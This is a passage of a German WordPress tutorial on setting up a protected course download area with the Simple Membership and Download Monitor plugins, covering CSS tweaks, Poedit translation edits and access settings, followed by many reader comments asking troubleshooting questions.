Sie können neben der Download-Anzahl auch eine Versionsnummer angeben, falls Sie die Datei zu einem späteren Zeitpunkt aktualisieren möchten.

Wichtig: Sollte sich Ihre Website noch auf einer Entwicklungsumgebung befinden, so sollten Sie relative Links als Datei-URLs angeben.
Also
/wp-content/uploads/2015/07/Rakete.png
statt
https://ihredomain.de/wp-content/uploads/2015/07/Rakete.png

Shortcode des Downloads kopieren
Nachdem Sie alle Dateien eingefügt haben, kopieren Sie den Shortcode und veröffentlichen Sie den Download. Nun können Sie diesen Shortcode in jede mögliche Seite eintragen, in der die Dateien herunterladbar sein sollen. Am sinnvollsten ist es in unserem Fall, diesen Download direkt auf der Kurs-Download-Seite einzufügen, zur der Kursteilnehmer automatisch weitergeleitet werden. So haben diese sofort Zugriff auf die wichtigsten Dateien.

Zu guter Letzt müssen Sie die Kurs-Download-Seite mit Inhalten füllen, wie beispielsweise mit einem netten Willkommens-Text, ein Paar Bilder oder sonstigen Handlungsanweisungen.

Übersetzung und CSS anpassen

Zwei letzte, wichtige Anpassungen, die Sie vornehmen müssen, finden in der Übersetzungsdatei sowie über CSS statt.

Die Herausforderung:

Registrieren steht bei der Nachricht noch zur Wahl
Ruft man als gewöhnlicher, nicht angemeldeter Besucher eine geschützte Seite wie die Kurs-Download-Seite auf, so erhält man die oben gezeigte Benachrichtigung. In unserem Beispiel sollen sich Besucher aber gar nicht registrieren können.

Registrieren steht bei dem Login noch zur Wahl
Das selbe gilt für das Log-in Formular auf der Log-in-Seite an sich. Hier sind sowohl der Passwort-Vergessen-Link als auch der Registrieren-Link überflüssig, da niemand diese Funktionen nutzen soll.

Mittels CSS können wir die jeweils grün markierten Links entfernen. Dazu müssen Sie den folgenden Code in Ihr Zusätzliches CSS unter den Customizer bei dem Menüpunkt Design oder in der Administrationsleiste einfügen.

div.swpm-forgot-pass-link,
div.swpm-join-us-link,
.swpm-post-not-logged-in-msg a:not(.swpm-login-link) {display: none;}

Nun, da die Links weg sind, müssen wir uns nur noch um einen kleinen Textteil kümmern, der fehl am Platz ist:

Text entfernen mittels Übersetzung
Leider lässt sich dieser Textteil nicht durch CSS allein entfernen. Wir müssen uns also mit der Übersetzungsdatei des Plug-ins weiterhelfen. Eine grundsätzliche Erklärung, wie Sie Themes und Plug-ins Übersetzen, finden Sie in unserem Beitrag „WordPress Themes und Plug-ins übersetzen: Ein Vergleich“.

Wir gehen trotzdem Schritt für Schritt durch, was genau Sie tun müssen. Zunächst installieren Sie das Programm Poedit, mit welchem Sie Übersetzungsdateien bearbeiten können.

Danach loggen Sie sich über FTP auf Ihrem Server ein und navigieren zu /wp-content/plugins/simple-membership/languages/. Hier suchen Sie sich die simple-membership-de_DE.po Datei heraus und laden Sie auf Ihren Desktop herunter. Als nächstes öffnen Sie diese in Poedit, bzw. durch einen Doppelklick.

Poedit benutzen
Als nächstes drücken Sie die Befehlstaste + F (Windows Strg + F), um in dem Programm nach einem Bestimmten Text zu suchen.

In Poedit suchen
Sobald Sie auf Weiter klicken, zeigt ihnen Poedit sofort die Stelle in der Übersetzungsdatei an, an der Sie den Text anpassen können. Es bleibt Ihnen überlassen, ob Sie lediglich ein Leerzeichen anstelle des eigentlichen Textes eintragen, oder einen anderen Text angeben wie z.B. „Halten Sie Ihre Zugangsdaten parat.“ In unserem Fall tragen wir ein einfaches Leerzeichen anstelle des eigentlichen Textes ein, was dafür sorgt, dass das Feld nicht komplett leer steht und die englische Übersetzung verwendet wird.

Die gewünschte Stelle durch eigenen Text ersetzen
Danach Speichern Sie. Lassen Sie sich nicht durch die Fehlermeldung beunruhigen, diese besagt lediglich, dass der Englische Text auf einem Fragezeichen endet, wo hingegen Ihre dies nicht tut. Dies ist in diesem Falle aber so gewollt.

MO und PO Dateien werden benötigt
Wenn Sie die Datei Speichern, wird automatisch eine .mo Datei erstellt, die ebenfalls auf dem Desktop erscheinen sollte. Ist dem nicht der Fall, klicken Sie bitte in der Menü-Leiste unter Datei auf die Option MO-Datei erstellen. Sie benötigen beide Dateien, für den nächsten Schritt.

Nun laden Sie die beiden Dateien in den folgenden Ordner hoch:
/wp-content/languages/plugins/
Sobald dies getan ist, wird der fehlerhafte Text entweder verschwunden, oder durch Ihren eingegebenen Text ersetzt worden sein.

Den Benutzer abhalten, seine Daten anzupassen

In unserem Fall möchten wir die volle Kontrolle über die Log-in-Daten behalten. Die Kursteilnehmer sollen nicht die Möglichkeit erhalten, Ihr Passwort zurückzusetzen, das Profil in irgendeiner Weise zu bearbeiten oder ins Backend zu gelangen. Um dies zu verhindern, müssen unter WP Mitgliedschaft –> Einstellungen die folgenden Häkchen gesetzt sein:

Einstellungen um den Kursteilnehmer vom Backend fern zu halten
Nun muss ein letzter Feinschliff vorgenommen werden. Auf der Log-in Seite erhält der Kursteilnehmer Informationen und Handlungsmöglichkeiten wie „Profil bearbeiten“ und „Ausloggen„.

Daten auf der Log-in Seite
Da er sein Profil nicht bearbeiten soll, muss dieser Link mittels CSS ausgeblendet werden.
.swpm-edit-profile-link {display:none;}
Um die Übrigen, für den Kunden unwichtigen, Infos auszublenden, wie zum Beispiel den Kontostatus etc., fügen Sie außerdem den folgenden Code ein:

.swpm-logged-status, .swpm-logged-membership, .swpm-logged-expiry

Die Log-in Seite verlinken

Damit Ihre Mitglieder nun zukünftig auch eine Seite haben, auf der Sie sich anmelden können, verlinken Sie die oben erstellte Log-in Seite am besten im Haupt- oder Footermenü. Ihre Kursmitglieder finden so schnell den Zugang zu Ihrer Seite und somit zu Ihren Download-Dateien.

Fazit

Selbst für einen einfachen, kostenlosen Mitgliederbereich ist der Aufwand, den Sie betreiben, um alles am Laufen zu halten, sehr groß. Daher müssen Sie auch bei diesem Mitgliedschaftsbereich, aber vor allen bei größeren, kostenpflichtigen Mitgliedschafts-Projekten genau Planen und Testen.

turned_in_notBenutzerfreundlichkeit, Plugins

Kim Salewskihttps://kim-salewski.de

Kim Salewski ist seit August 2015 Teil der Elbnetz-Crew und ein großer WordPress-Fan. Sie hat eine Ausbildung zur Assistentin für Screen Design absolviert und programmiert/zeichnet in ihrer Freizeit rund um die Uhr.

132 Kommentare. Wir freuen uns über Ihren Kommentar

  • Thomas Biedermann8. Juni 2022 19:39 Einfache und verständliche Anleitung zur Einrichtung eines Mitgliederbereichs auf einer WP-Website! Sehr empfehlenswert!Folgende Anmerkungen:* Das Plugin erstellt beim Installieren und Aktivieren bei mir nicht (!) die fünf genannten Seiten. Dies kann man aber über die Einstellungen–>Tools nachholen, da sich damit diese Seiten (erneut) herstellen lassen.* Leider gibt es keine Mail-Benachrichtigung für den Login eines Mitglieds. Dies wäre sehr sinnvoll!* Leider wird das Mitglied beim Logout über einen normalen Abmeldelink (die Loginseite bzw. Landingpage hat original keinen solchen Button) nicht auf die in den Einstellungen hinterlegte URL (Login-Seite) weitergeleitet. Edit: Ich habe einen Abmeldelink mit einem PHP-Code hinterlegt, der die Weiterleitung nach dem Logout auf die Login-Seite vornimmt.* Die Änderung der Übersetzung wird nicht übernommen. Ich habe dies allerdings online mit dem Plugin Loco translate durchgeführt. Vielleicht muss ich dies doch lokal mit Poedit durchführen. Edit: Die Änderung der Übersetzung ist mir jetzt lokal auf meinem Computer mit Poedit gelungen.* Das Plugin Download Monitor zeigt in seinen Einstellungen diverse PHP-Fehlermeldungen an. Ich habe allerdings eine hohe PHP-Version (8.0?) für die Website auf dem Server eingestellt. Die Option des Schutzes eines Downloades hat keine Funktion. a) Die Aktivierung des Simple WP-Membership Schutzes wird durch Speichern nicht übernommen. b) Die Aktivierung der Download-Optionen–>Nur für Mitglieder führt dazu, dass ein eingeloggtes Mitglied eine Fehlermeldung (Keine Berechtigung) beim Download erhält. Nur bei deaktivierter Option ist ein Download möglich. Antworten
  • Thorsten Faltings 7. Juni 2022 11:30 Moin Thomas,vielen Dank für Deine hilfreichen Anmerkungen.Ahoi!
    Thorsten Antworten
  • Markus2. April 2022 21:39 ich beschäftige mich erstmals mit WP und habe es bisher nicht geschafft, einen member Bereich für Downloads zu bauen. Was ich möchte: Eine Seite erstellen, die passwortgeschützt ist (das habe ich geschafft). Auf dieser Seite möchte ich eine Anzahl Dateien anbieten, die heruntergeladen (mehrere wählbar) oder einzeln in einem anderen Fenster angezeigt werden. Gibts dazu ein einfaches Plugin? Oder wie macht das auf möglichst einfache Weise (die unschöne Variante (Links auf Dateien erstellen, bei Doppleklick werden sie in einem Fenster geöffnet, in dem Fenster steht dann Download zur Verfügung) kenne ich, ist aber nicht sehr bedienerfreundlich…Danke für eure Tips Antworten
  • K.Eber31. März 2022 17:45 Hallo. Super Plugin. Eine Frage hätte ich. Gäbe es ein Problem, wenn sich mehrere Personen mit denselben Benutzerdaten einloggen? Karin Antworten
  • Stef26. September 2021 20:33 Hallo, vielen herzlichen Dank für diese tolle Anleitung. Ich habe allerdings ein Problem: Ich habe eine Newsseite (Beitragsseite) im geschützten Bereich angelegt. In dieser befinden sich etliche Beiträge (also keine weiteren Seiten, sondern Beiträge). Leider kann man sich nun über die Goggle Suche diese Beiträge ansehen. Was habe ich falsch gemacht? Bzw. wie kann ich den allgemeinen Zugriff auf diese Beiträge verhindern und wie kann ich schnellstmöglich die Beiträge aus der Google-Suche entfernen?Vielen Dank für Eure Hilfe!!! Antworten
    • Thorsten Faltings 27. September 2021 9:21 Moin Stef,um den allgemeinen Zugriff auf die Beiträge zu verhindern, musst Du auch diese jeweils – wie oben beschrieben – analog der Seiten vor dem Zugriff schützen. Du kannst versuchen, über die Google Search Console die Beiträge möglichst schnell aus dem Suchindex zu löschen.Ahoi!
      Thorsten Antworten
  • Kersbers16. September 2021 9:47 Hey,
    tolles Plugin.
    Eine Frage habe ich noch: Gehe ich auf den Link einer Mitgliederseite für die ich nicht freigegeben bin, erscheint ja „Sie müssen sich anmelden, um diesen Inhalt zu sehen. Bitte Anmelden. Kein Mitglied?“. Kann ich hier auch direkt zur Login Seite verlinken? Wenn ja, wie geht das? Vielen Dank schonmal Antworten
    • Dirk9. Oktober 2021 14:40 Hey, genau das selbe Problem habe ich jetzt auch. Bzw. ich würde nicht gerne direkt auf die Loginseite verlinken, sondern auf eine eigene Seite, die einen Text anzeigt und danach Links für die Login- oder die Startseite bereitstellt.
      Ich hab dazu jetzt schon extra ein Child-Theme erstellt, damit ich evlt. Änderungen nicht nach jedem Update machen muss. Wäre toll, wenn es hierzu eine kleine Antwort/Anleitung geben würde. Antworten
  • Nuray Kirch22. August 2021 12:50 Hallo! Diese Anleitung hat mir sehr geholfen.
    Ich habe aber die gleiche Frage, die Jessie Fröde am 14. Januar 2021 gestellt hat und deren Beantwortung ich hier nicht gefunden habe:
    Da ich den Login Bereich auch für eine englische Seite erstelle, möchte ich den Text „Not a member?“ ebenfalls entfernen. Wo muss bzw. kann ich den englischen Quelltext entfernen?
    Ich würde auch gerne den Text „Username“ auf der Login Seite verändern. Welche Dateien nutze ich dazu? Antworten
  • Hans-Georg Hauser30. April 2021 23:12 Hallo! Ich habe eben einen geschützten Mitgliederbereich eingerichtet. Leider lassen sich keine Mitglieder hinzufügen. Zwei habe ich geschafft, das wars! Es kommt keine Fehlermeldung, nur die Mitglieder werden nicht angelegt. Woran könnte das liegen? Für Hilfe bin ich sehr dankbar. Antworten
    • red-loop25. Juli 2021 9:52 Wenn Mitglieder bereits unter „Benutzer“ angegeben sind, können diese nicht erneut im Mitgliederbereich angelegt werden. Eine Fehlermeldung bleibt in diesem Fall aus. Antworten
  • Malko17. März 2021 15:36 Erst einmal vielen Dank für Mühe diese Anleitung zu schreiben.
    Ich habe aber jetzt folgendes Problem. Wenn man nach dem Login auf die weitergeleitete Seite kommt, wo der Download Bereich ist, dann kommt diese Meldung „Sie müssen sich anmelden, um diesen Inhalt zu sehen. Bitte Anmelden. Kein Mitglied?“
    Wenn ich auf der Download Seite ganz unten bei „Möchten Sie diese Inhalte schützen?“ den Haken bei „Nein, diesen Inhalt nicht schützen“ setzte funktioniert es, aber dann ist die Seite natürlich nicht geschützt.
    Mache ich den Haken „Ja, diesen Inhalt schützen“. Bekomme ich bei der Weiterleitung den Fehler. „Sie müssen sich anmelden, um diesen Inhalt zu sehen. Bitte Anmelden. Kein Mitglied?“
    Jemand hier, hatte das selbe Problem, hatte dazu aber leider keine Antwort bekommen.
    LG
    Malko Antworten
    • Sebastian5. Juli 2021 22:01 Die verlinkte Seite muss natürlich noch der entsprechenden Mitgliedsschaftstufe zugeordnet werden, sonst ist derjenige der sich eingeloggt hat trotzdem fremd für die Seite.Dort wo du den Haken setzt, kannst du auch direkt die Mitgliedsschaftstufe auswählen, sofern sie vorher auch angelegt wurde. Antworten
  • Frank3. März 2021 16:26 Hallo.
    Toll erklärt! Ein Problem habe ich aber doch.Gibt es eine Möglichkeit das ausloggen zu erzwingen? Das Problem ist, selbst bei gesetzem Haken “ beim Schließen des Browsers abmelden“ bleibt der Zugang offen wenn nur der Tab geschlossen wird.Man muß zum Abmelden den Browser komplett schließen.Das macht aber in der Praxis ja keiner.
    Ich wäre für eine Idee dankbar.
    Gruß Frank Antworten
  • Andreas22. Februar 2021 22:12 Hallo zusammen,erstmal vielen Dank für die tolle Anleitung.Gibt es auch die Möglichkeit, mehrere Unterseiten zu schützen? Die z.B. erst im Memberbereich sichtbar werden oder so? Antworten
  • Robert Werhahn12. Februar 2021 13:37 Eine wirklich umfassende Beschreibung, vielen Dank dafür. Habe jetzt eine Mitgliedschaftsstufe angelegt (LC Mitglied) und versuche dazu neue Mitglieder mit Benutzer-Name (zB LCMitgl_2021), eMail & PW (enthält Sonderzeichen, Zahlen, Großbuchstaben) anzulegen: funktioniert nicht. Beim Anlegen erscheint am Oberrand des Dashboardfensters unter der obersten Menüleiste verdeckt und nur zum Teil sichtbar ein rotes und grünes Feld, welches ich aber nicht entziffern kann. Hab ich hier irgend etwas vergessen? Kann mir da jemand weiter helfen? Antworten
  • Emma26. Januar 2021 12:44 Hallo Thorsten, toller Beitrag! Sind die Plug-ins noch aktuell, oder gibt es da mittlerweile Alternativen? Außerdem: Ist es möglich, die Download Dateien in Ordnern zu strukturieren und/oder eine Suchfunktion hinzuzufügen?Vielen Dank vorab! Antworten
    • Thorsten Faltings 26. Januar 2021 13:14 Moin Emma,es freut uns, dass Dir der Beitrag gefällt. Wir überprüfen es nicht jeden Monat, aber die Plug-ins sollten noch aktuell sein. Im Backend werden die ‚Downloads‘ ähnlich aller Dateien in einem speziellen Unterverzeichnis abgelegt. Wenn Du aber das Frontend meinst, dann hast Du alle Freiheiten, die Links in eine Struktur zu bringen. Mit dem richtigen Plug-in kannst Du auch nach ihnen suchen.Ahoi!
      Thorsten Antworten
  • Jessie Fröde14. Januar 2021 18:05 Tolle & hilreiche Anleitung!Die Seite, die ich gestalte, soll allerdings in zwei Sprachen aufgesetzt werden.
    Gibt es hier auch eine Möglichkeit die Login Seite in DE und EN anzulegen?
    Dafür habe ich bisher leider noch keine Lösung gefunden.Zudem kommt damit das Problem, dass das bearbeiten der .po Datei dann trotzdem der englische Text „Not a member?“ angezeigt wird …Lieben Dank schon mal für die Antwort. Antworten
  • Eckhard Kujawa9. Januar 2021 14:50 Wie schon von den Vorkommentatoren häufig geschrieben. Die Anleitung ist sehr verständlich.
    Bei mir funktioniert der Download via „Medien“ einwandfrei und der Pfad zum Dokument wird auch richtig angezeigt.
    Wenn ich den Short-Code in die Download-Seite einfüge werden die Links auch für den angemeldeten Kunden angezeigt, führen aber zur Startseite der Website.
    Füge ich in die Download-Seite den Link zum Dokument händisch ein, wird das Dokument wie gewünscht geöffnet.
    Ich kann es mir nicht erklären. Vieleicht hat ja jemand eine Idee.? Antworten
    • E. Kujawa11. Januar 2021 12:01 Editiere meinen Kommentar vom 09.Januar 2021
      Das geschilderte Problem hat sich erledigt. Kann nur nicht berichten wo der Fehler lag.
      Funktioniert einwandfrei.
      Danke noch mal für die ganz einzigartig gute Anleitung. Antworten
  • Herwig1. Dezember 2020 15:54 Nochmal Hallo,
    das Problem hat mir keine Ruhe gelassen. Auf der Seite des Plugin-Entwicklers findet man eine sehr ausführliche englischsprachige Dokumentation. Im Zuge der Weiterentwicklung des Plugins haben sich wohl die entsprechenden Befehle geändert.
    Wer den Paswortvergessen-Link loswerden will gibt jetzt folgendes ein:
    .swpm-login-widget-form #forgot_pass {display:none;}
    den join us Link so:
    .swpm-login-form-register-link {display:none;}
    und die remember me checkbox so:
    .swmp-remember-me {display:none;}
    Ich habe jedem dieser Befehle eine eigene Zeile in der Rubrik ‚Zusätzliches CSS‘, welche man unter dem Customizer findet, den man aus der Administrationszeile erreicht, spendiert und es hat funktioniert.
    Die Seite des Entwicklers des SimpleMembership PlugIns ist eine wahre Fundgrube. Man findet die Seite leicht. Antworten
  • Herwig1. Dezember 2020 14:36 Hallo,
    das ist wirklich eine gute Anleitung und ich habe sie bestimmt schon ein paar Mal gelesen. Leider scheitere ich schon hier:
    „Das selbe gilt für das Log-in Formular auf der Log-in-Seite an sich. Hier sind sowohl der Passwort-Vergessen-Link als auch der Registrieren-Link überflüssig, da niemand diese Funktionen nutzen soll.
    Mittels CSS können wir die jeweils grün markierten Links entfernen. Dazu müssen Sie den folgenden Code in Ihr Zusätzliches CSS unter den Customizer bei dem Menüpunkt Design oder in der Administrationsleiste einfügen.“
    Wo ist ‚mein zusätzliches CSS‘? Dann soll der Code ‚unter den customizer bei dem Menüpunkt Design‘. In der Administrationsleiste kann ich nur was auswählen( z.B. Customizer, Neu, Seite bearbeiten) aber nichts eintragen. Wenn ich dort ‚Customizer‘ wähle erscheint ganz unten als letzte Auswahl ‚Zusätzliches CSS‘ und dahinter eine Eingabemöglichkeit für code. Wenn ich dort den Code eingebe (gehört er in eine Zeile oder mehrere?) passiert nichts, die Links verschwinden nicht. Ich benutze das kommerzielle Theme ‚Head Blog‘ für meine Website und bin kein Informatiker, leider. Ich war schon etwas älter, als ich mich mit 6502 Assembler in meinem Commodore 64 beschäftigt habe, Mnemonics und so.
    Meine Frage(und Bitte): wo genau muss ich diesen code eintragen. Kann mir jemand den Weg dorthin bitte step by step aufzeigen? Antworten
  • Eric23. November 2020 11:36 Wirklich guter Beitrag! Ich hätte nur ein kleines Problem. Die Seiten die z.B. Kunde A sehen soll aber Kunde B nicht, kann Kunde B trotzdem sehen. Die Meldung „Dieser Inhalt ist für Ihre Mitgliedschaftsstufe nicht freigegeben.“ erschein zwar aber der Inhalt der Seite auch. Downloads werden blockiert. Jedoch sollte der Inhalt auch blockiert werden. Ich habe diese Methode schon früher einmal genutzt und dort war dies auch so der Fall. Kann dies an meinem Theme liegen? Oder hat jemand eine Idee? Antworten
  • Florian18. August 2020 11:15 Interessanter Atrikel! dennoch mal einen Frage zu wordpress und Persönliche Downloads.
    Gibt es ein Plungin, dass :
    Persönlicher Login
    Persönliche Seite, wo nur die Daten hinterlegt sind (Abrechnung) die für die Person zusehen ist die den Zugang dazu hat. (Beispiel: Peter logt sich ein und sieht seine Abrechnung, Ingo logt sich ein und sieht nur seine Abrechnung und nicht die von Peter)
    Gibt es da ein plugin für auch kerne kostenpflichtig Antworten
  • Pascal9. August 2020 18:32 Top Beitrag
    Habe eine Frage und vielleicht wird mir diese ja auch noch 2020 beantwortet 😀
    Ich habe auf meiner Seite jetzt ein Kundensystem eingerichtet und das auch mit verschiedenen Kursen. Nach dem Login werden die jeweiligen Kursmitglieder zu der für sie angepassten Seite weitergeleitet. Mein Problem/Frage: Kann man es im Menü so einrichten, dass Wenn sich Kursmitglied A anmeldet Kursliste A im Menü erscheint und bei Kursmitglied B Kursliste B und so weiter? Abgesehen von dem einmaligem Weiterleiten haben die Kunden danach keinen zugriff mehr darauf. Möchte das man diesen MenüPunkt nur sieht wenn man auch mit dem jeweiligem Kurs angemeldet ist. Habe mir dazu erst das Plugin Nav Menu Roles geholt, aber das Arbeit meines Wissens nur mit WordPressRollen wie Admin, Abonnent etc und nicht mit meinen erstellten Kurs-Rollen.
    Vielleicht kann mir ja jemand helfen. Danke schonmal im Voraus!
    Lg Antworten
    • Thorsten Faltings 10. August 2020 9:32 Moin Pascal,
      vielen Dank für Deine Nachricht. Wenn ich Dich richtig verstehe, hat jeder User seine eigenen Kurse, gelistet auf einer individuellen Seite. Du würdest als eine Erweiterung benötigen, die tatsächlich einen Menü-Eintrag ermöglicht, der für jeden angemeldeten User individuell ist. Ein passendes Plug-in haben wir bei einer schnellen Recherche nicht gefunden. Mit einer individuellen Entwicklung würde man das Problem aber sicher lösen können.
      Ahoi!
      Thorsten Antworten
      • Pascal10. August 2020 20:27 Danke für die schnelle Antwort!
        Habe das Problem jetzt über einen kleinen Umweg gelöst!
        Geholfen haben mir dabei die Plugins: Nav Menu Roles und User Role Editor.
        habe für die jeweiligen Kurse eigene WP-Rollen erstellt und dann den erst über das Nav Menu gelöst.
        Dennoch vielen Dank für die Hilfe! Antworten
  • mpr_922. Mai 2020 4:40 Guten Tag, ich habe eine Frage zu den Plugins und der Vorgehensweise.
    Und zwar möchte ich jetzt nicht nur eine Datei zum Download freigeben, sondern ich würde gerne eine URL bzw. nur einen bestimmten Inhalt mit Zugriffen verwaltet. Kann ich in dem Download auch eine URL angeben? Ist das auch möglich?
    Und zweite Frage: In dem Donwload-Post kann man ja auch Inhalt im Textfeld eingeben (dort wo bei Ihnen aktuell Lorem Ipsum drin steht). Wie kann ich denn zusätzlich diesen Inhalt ausgeben? Gibt es da einen anderen Shortcode für?
    Herzlichen Dank für eine hoffentlich zeitige Rückmeldung. Antworten
  • Lara-Maria Nestyak24. März 2020 0:23 Erstmals vielen herzlichen Dank für diese ausführliche und wirklich sehr hilfreiche Anleitung!
    Eine Frage habe ich noch: Gehe ich auf den Link einer Kursseite für die ich nicht freigegeben bin, erscheint ja „Sie müssen sich anmelden, um diesen Inhalt zu sehen. Bitte Anmelden. Kein Mitglied?“ Dabei ist das Wort „Anmelden“ mit einem Hyperlink hinterlegt. Ich würde gerne statt „Kein Mitglied?“ etwas wie „Hier zur Kursbuchung klicken!“ eingeben – den Text kann ich ja ganz einfach mit Poedit editieren, aber woher kommt der Link? Antworten
  • Maximilian Pfützner11. März 2020 16:02 Hallo,
    zunächst einmal vielen Dank für die super Anleitung! Soweit funktioniert auch alles, aber leider komme ich an einem Punkt nicht so richtig weiter:
    Wenn ich mich auf der Login-Seite befinde und mich als Nutzer einlogge gelange ich mit Hilfe der Login Redirection auch auf die jeweils richtig zugewiesene Seite. Das funktioniert allerdings leider nur, wenn den Passwortschutz der Seite deaktiviert habe. Sobald dieser allerdings aktiv ist, kommt nach dem Einloggen die Meldung „Sie müssen sich anmelden, um diesen Inhalt ansehen zu können. Bitte Einloggen. Noch kein Mitglied?“ daraufhin muss ich mich nochmal einloggen und komme nicht auf die voreingestellte Seite.
    Ich hoffe es ist soweit verständlich was ich damit sagen wollte und bin über jeden Hinweis sehr dankbar.
    Liebe Grüße,
    Max Antworten
  • Stefan Paulus21. Februar 2020 21:39 Hallo,
    ja das klingt sehr interessant. Was mich jedoch interessiert, ob es eine Möglichkeit gibt, registrierten Nutzern individuelle Inhalte, wie PDF Dokumente individualisiert in den jeweiligen Nutzerkonten zur Verfügung zu stellen. Wissen Sie hierzu eine Lösung oder Plugins die diese Möglichkeiten bieten?
    Viele Grüße
    Stefan Antworten
  • Franziska3. November 2019 18:21 Hallo,
    die Anleitung war sehr hilfreich und gut erläutert. Leider komme ich an einer Stelle nicht weiter:
    >Um die Übrigen, für den Kunden unwichtigen, Infos auszublenden, wie zum Beispiel den Kontostatus etc., fügen Sie außerdem den folgenden Code ein:
    .swpm-logged-status, .swpm-logged-membership, .swpm-logged-expiry
    Der Code funktioniert bei mir leider nicht. Es kommt eine Fehlermeldung. Habe an dieser Stelle schon einiges probiert. Kann mir jemand weiterhelfen?
    Liebe Grüße Antworten
    • SDdorf28. November 2019 14:54 Hallo Franziska,
      das gehört noch zu darüberliegenden Satz:
      Soll so – komplett – im css eingefügt werden:
      .swpm-edit-profile-link, .swpm-logged-status, .swpm-logged-membership, .swpm-logged-expiry {display:none;}
      Gruß SDdorf Antworten
  • Julian13. Oktober 2019 22:44 Guten Abend liebes Team!
    Erstmal vielen herzlichen Dank für die ausführliche Anleitung.
    Nun scheint erstmal alles sehr praktisch und simpel.
    Mein Anwendungsbereich scheint aber etwas von der beschriebenen Situation abzuweichen. Ich möchte insggesamt 140 Benutzer anlegen, die in verschiedene Gremien aufgeteilt sind (Kommissionen und Departemente) Muss ich jetzt für jeden einzelnen Benutzer ein Passwort anlegen und es ihm später per Mail zukommen lassen, damit er sich überhaupt einloggen kann?
    Ich habe schon die Variante mit der E-Mail Aktivierung getestet. Praktisch! Nur leider muss sich jeder Benutzer, noch bevor er einen Aktivierungslink erhält das erste Mal einloggen. Sprich: Er braucht die Login Daten. Gibt es eine Möglichkeit, dass der Benutzer das Passwort selbst anlegen kann? Ist es möglich dem Benutzer den Aktivierungslink samt Login Daten automatisch zu versenden?
    Euer Rat wäre sehr hilfreich. Ansonsten bin ich wohl gezwungen, sämtlichen 140 angelegten Benutzern ein Passwort zu versenden :/
    Ich wünsche euch einen erholsamen Abend und schon jetzt danke für das Feedback!
    Julian Antworten
  • Andreas27. März 2019 12:17 Hi, super Anleitung und sehr schöne PlugIns.
    Als work around für das Log Out Problem geht mit der neuesten WordPress Version (5.1.1) folgender Weg:
    1. Role der Mitglieder unter dem Punkt Menüpunkt Benutzer als – Keine Benutzerrolle für diese Website – festlegen
    2. Die Adminbar unter WP Mitgliedschaft Einstellungen auf anzeigen setzen (default Einstellung).
    Die Bar beinhaltet nun nur ein Bild, Name und AUSLOGGEN Feld. Die Bar kann natürlich per css nach Stylewünschen angepasst werden. Antworten
  • Manu25. März 2019 17:40 Ich habe in einem Anfall geistiger Umnachtung aus Versehen die Login-Seite gelöscht, dabei hatte ich alles schon schön eingestellt und funktionierte prima. Ich habe das Plugin „Simple-Membership“ gelöscht und wieder installiert. Aber das generieren der Login-Seite bleibt aus. Was kann ich jetzt machen? Hoffentlich kannst Du mir helfen. Antworten
  • Sabrina Tausch15. März 2019 10:35 Hallo, wirklich toller Beitrag!
    Ich hoffe ihr könnt mir bei meinem Problem weiterhelfen. Wenn ich die Loginseite aufrufe, steht bei mir im Feld „Benutzer“ immer der Benutzer drinnen mit dem ich die WordPress Seite erstellt habe, es ist mir nicht möglich diesen raus zu löschen und mich mit einem anderen Benutzer anzumelden. Das Feld reagiert einfach nicht. Antworten
  • Stefanie S.14. März 2019 17:17 Hallo Kim, Hallo Thorsten,
    SUPER geschrieben! Ich habe nur noch eine Frage: Ich würde gerne eine E-Mail Benachrichtigung erhalten, wenn einer unserer Kunden ein Dokument herunterlädt. Wie kann ich das am besten machen?
    DANKE und liebe Grüße,
    Steffi Antworten
  • Micha11. März 2019 11:01 Hallihallo Thorsten,
    ich bin ja begeistert von eurer sehr gut erklärten Lösung zum Thema geschützter Kundebereich.
    Nun habe ich als Admin, noch einige Mitarbeiter im RedakteurStatus welche dann auf einmal nicht mehr regulär über den WP Login auf ihr Dashboard Bereich kommen. In den „allgemeinen Einstellungen“ der WP Mitgliedschaft habe ich dann das Häkchen im Bereich „Deaktivieren Sie den Zugriff auf das WP Dashboard“ entfernt, sodass meine Mitarbeiter wieder über den WP Login regulär ihren Zugang erhalten.
    Leider kann dann das reguläre Kursmitglied, sofern sie den WP Login URL (aus Sicherheitsgründen wurde die URL um geändert) kennen würden, auf ihr abgespecktes Dashboard Profil zugreifen, was ja eigentlich nicht sooo sein soll.
    Ich hatte auch den Weg über die „Erweiterte Einstellung“ bei der WP Mitgliedschaft versucht, wo ich unter „Admin-Dashboard Zugriffsberechtigung“ den Zugriff meiner Redakteure zu ermöglichen versuchte. Vorher hatte ich das Häkchen im „Deaktivieren Sie den Zugriff auf das WP Dashboard“ wieder aktiviert. Irgendwie klappt erstaunlicherweise die Option auch nicht. Eine weitere Idee bzw. Kombination mit dem PlugIn „User Role Editor“ war vergebene Müh.
    Habe ich irgendwas in den WP Mitgliedschafts-Einstellungen übersehen, sodass meine Mitarbeiter „Redakteuren“ weiter ungehindert sich über das reguläre WP Login einloggen können, wiederum das „gemeine“ Kursmitglied nur das zu sehen bekommt, was es soll und keine weiteren Möglichkeiten im BackEnd bzw im Dashboard rumzuwuseln?
    Danke vor ab.
    Herzliche Grüße vom Niederrhein
    Micha Antworten
  • Daniel von bo:mi:well®8. März 2019 13:59 Hallo Kim,
    hallo Thorsten,
    jetzt habe ich auch endlich meine Downloads geschützt. Das Einrichten hat gut funktioniert, nur hätte ich gerne, dass die Downloads wie bisher in einem neuen Tab geöffnet werden. Es handelt sich nämlich bei den Downloads um PDF- und MP3-Datein, die der Browser automatisch öffnet. Bisher hatte ich einfach den target=“_blank“-Zusatz in meinem Link drin stehen gehabt. Dieser funktioniert aber in dem shortcode nicht. Und leider konnte ich weder in den Einstellungen des Download-Plugins noch auf den Seiten der einzelnen Downloads die Option finden.
    Natürlich kann man einfach wieder auf „Die vorherige Seite anzeigen“ klicken, nachdem sich die Datei im Browser geöffnet hat. Nur kann es eben auch gut sein, dass jemand den Tab dann schließt, nachdem er festgestellt hat, dass sich die Datei „nur geöffnet hat“ und sie nicht heruntergeladen wurde. Und dann hat er eben auch ungewollt meine Seite geschlossen.
    Liebe Grüße
    Daniel Antworten
    • Thorsten Faltings 8. März 2019 16:51 Moin Daniel,
      ich habe es soeben getestet und bei mir hat nicht der Browser (Safari) die Datei angezeigt, sondern einen Download initiiert.
      Hast Du mal den Link (URL) über dem Shortcode kopiert und ausprobiert? Hat bei mir funktioniert.
      Ahoi!
      Thorsten Antworten
  • ungoliant8. März 2019 12:34 Hallo,
    toller Beitrag! Genau das was ich suche!
    Gibt es auch eine Möglichkeit einen Mitglied mehrere Mitgliedsstufen zuzuweisen?
